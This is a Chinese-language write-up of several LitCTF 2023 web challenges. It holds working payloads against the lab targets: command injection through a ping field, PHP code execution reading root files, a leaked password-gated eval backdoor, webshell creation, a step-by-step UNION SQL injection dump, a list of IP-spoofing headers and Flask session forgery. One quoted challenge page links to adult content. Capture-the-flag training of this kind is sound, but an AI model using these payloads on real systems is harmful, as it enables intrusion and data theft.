签到题,f12获取flag
这里注意看一下源代码,有彩蛋
先留着
LitCTF{First_t0_The_k3y! (1/?)
前端js小游戏
开调试器进行代码审计
可知当游戏进入finished
状态的时候会得到flag,可以直接找到
传参题,按照要求传参直接出
CTF=Lit2023
Post:Challenge = i'm_c0m1ng
传入得到flag,然后提示备份文件还有好恰的,备份文件无非几种,直接访问www.zip
下载压缩包,压缩包里有index.php.bak
文件,打开
获得第三个彩蛋
_R3ady_Pl4yer_000ne_ (3/?)
看文本框是进行代码执行,直接在右边构造payload:
system("ls /");
然后cat /f*
得到flag
利用dirsearch扫描网站
dirsearch.py -u http://node5.anna.nssctf.cn:28266/
扫描结果如下:
Vim缓存泄露,输入如扫描结果,访问/.index.php.swp
会下载该文件
整理后代码如下,仔细看前面的代码php短标签是反着来,所以要整理下:
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "can can need Vim
";
if ($_POST['password'] === base64_encode($password)){
echo "Oh You got my password!
"
eval(system($_POST['cmd']));
}
?>
说明我们要传入password
变量,使其值base64加密后的Give_Me_Your_Flag
构造payload:
POST
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=
You got password!
接下来post传入cmd变量进行rce就可以得到flag
cmd=ls /
cmd=cat /f*
f12有hint,默认账户和密码都是admin
这道题一眼就知道有好多种写法,文件上传一种,文件创建一种,这里用的是文件创建
创建文件名为flag.php
然后编辑文件,内容就是基本的文件上传漏洞的内容
然后点保存,接下来返回开始的界面去访问该文件
http://node5.anna.nssctf.cn:28807/flag.php
存在说明已经创建成功,接下来可以选择RCE或者蚁剑连接,我选的用蚁剑连接
连接成功,在根目录下得到flag
ping命令考察,先输入127.0.1试试水,可以有回显
然后构造payload扫描根目录:
127.0.0.1|ls;
这里多试了几次管道符,猜测是前端检测,利用burp抓包然后改包
通过抓包改变ping命令
127.0.0.1;ls
获得到根目录下文件
然后构造payload获得flag
127.0.0.1;cat /*
已经告诉你闭合方式了,直接开注!
先判断显示位,payload:
-1)))))) union select 1,2#
爆库:
1)))))) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#
得到库名
information_schema,mysql,ctftraining,performance_schema,test,ctf
爆表:
1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctf"
得到表名:
users
爆列:
1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="users"#
得到列名:
id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
获取值:
1)))))) and 1=2 union select 1,group_concat(password) from ctf.users
获得彩蛋(难蚌):
OHHHHHHH,F1rst_to_Th3_eggggggggg!}
重新爆表:
1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctftraining"#
得到表明:
flag,news,users
重新爆列:
1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="flag"#
获得列名:
flag
重新获取值:
1)))))) and 1=2 union select 1,group_concat(flag) from ctftraining.flag#
我们通过前面的题已经得到了4个彩蛋,组合一下
LitCTF{First_t0_The_k3y! (1/?)
_S0_ne3t? (2/?)
_R3ady_Pl4yer_000ne_ (3/?)
F1rst_to_Th3_eggggggggg!}
组合获得flag:
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
postman杀穿了()
显示只允许本地访问,第一反应就是伪造X-Forwarded-For
头,但是被嘲讽了
于是又试了好多东西,我直接一并列出来了
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
最后发现能用的是Client-IP
?我怕这名字不过审,我直接伪造Referer
为这个网站了
然后回显要用Chrome浏览器,伪造User-Agent
为Chrome
这个找了好久,最后发现是伪造Via
OK,借一部说话,去访问wtfwtfwtfwtf.php
文件
得到源码
<html>
<title>你说得对,but where is flag?title>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
head>
<body>
<a href="https://doc.miyun.app/app/clash-win/">
The first step-----><button>click me to get Clash!button>
a>
body>
<body>
//网站被我删了
The second step-----><button>open your eyes on pornhub️button>
a>
body>
<body>
<a href="./jiege.jpg">
The 3rd step-----><button>that is what you want: 色图.jpgbutton>
a>
body>
html>
可以看到有hint,再访问 /sejishikong.php
得到flag
给了个GitHub项目的链接
https://ProbiusOfficial.github.io
后来听佬说是社工题,我也没照,直接贴链接
https://github.com/ProbiusOfficial/ProbiusOfficial.github.io/commit/f04fe251bf8811324d4e71cd87b4b15581358490#diff-1474f5fa679c8ac3ff897f022f78e6d753c107596c85a05c06a7466478a3f43
然后在flag是什么呢
里面可以找到flag
魔方小游戏,一开始不信是代码审计,所以就用dirsearch扫了扫(没啥用)
那就审呗,看源代码得到hint,进入[email protected]
文件
得到一段jsfuck解密(md,看的我眼花),控制台跑一下,得到flag
没有扫出来什么东西,然后就随便看,看到了有session
猜测是session伪造
,但是要是想进行session伪造就要先知道secret_key
,由于没有明显提示secret_key
只能猜,联想比赛题目,是LitCTF
,利用flask_session_cookie_manager3
进行session伪造,先验证正确性:
decode解密成功,然后接下来就进行session伪造
把伪造好的session利用burp抓包然后修改
eyJuYW1lIjoiYWRtaW4ifQ.ZGCq-A.8H9RmjSBHw5uvGpprkWTXFFcxlE
得到flag
关于session伪造具体可以看[HDCTF2023] NSSweb方向题解的YamiYami